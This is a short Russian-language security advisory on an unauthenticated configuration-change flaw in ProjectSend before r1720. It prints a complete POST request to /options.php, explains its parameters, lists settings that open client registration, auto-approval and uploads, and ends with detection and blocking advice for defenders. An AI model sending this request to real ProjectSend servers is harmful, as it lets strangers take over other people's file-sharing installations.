CWE-287
Base Score: 9.8 CRITICAL
Данная уязвимость позволяет удаленным не аутентифицированным злоумышленникам менять конфигурацию приложения ProjectSend.
Уязвимы все версии до r1720.
Настоятельно рекомендуем обновиться!
Злоумышленник может отправить POST-запрос, который выглядит следующим образом:
POST /options.php HTTP/2
Host: XXX.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sfh3js6atmat4pedsjl1pctl86
Accept-Encoding: gzip
csrf_token=***§ion=general&This_install_title=dsdasd
Мы проанализировали публичные шаблоны для сканирования данной уязвимости и воспроизвели вредоносную активность на тестовом стенде:
1.
CSRF_token берётся из HTML кода в блоке input cо значением hidden в type и именем csrf_token (данный блок необязателен).<input type="hidden" name="csrf_token" value="***"/>
2. Значение блок section может быть различным, например
clients или general (обязательный блок). 3. Значение блока
this_install_title может быть абсолютно любой строкой, которая будет выведена на главную страницу. Это не обязательный блок запроса, его можно заменить.
clients_can_register=1
clients_auto_approve=1
clients_can_upload=1
Злоумышленники могут использовать различные комбинации.
Лучший способ защититься от данной уязвимости – это заблокировать все POST-запросы на
/options.php. Еще один вариант – это запретить все POST-запросы, содержащие параметры
scrf_token и section в теле запросаСовет: для большей гибкости в детектирующей логике необходимо сделать эти поля не чувствительными к регистру.